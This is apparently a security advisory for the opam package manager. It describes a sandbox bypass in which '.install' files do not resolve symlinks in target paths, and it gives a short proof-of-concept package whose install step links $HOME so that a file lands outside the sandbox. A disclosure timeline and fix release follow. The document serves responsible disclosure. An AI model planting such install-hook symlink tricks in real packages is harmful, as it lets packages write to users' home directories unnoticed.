Summary Installing files through ".install" files do not check symlinks resolution of the target path, and so can bypass sandboxing. Exploit Let's imagine a "test" package whose "test.install" file looks like the following: share_root: [ "test" {"blah/pwnd"} ] and "test.opam" file: opam-version: "2.0" install: ["sh" "-c" "ln -s "$HOME" "%{share}%/blah""] Installing this package will write the "pwnd" file in the home directory of the current user, bypassing sandboxing. Timeline - 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team - 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks - 2026-07-08: opam 2.5.2 was released with the fix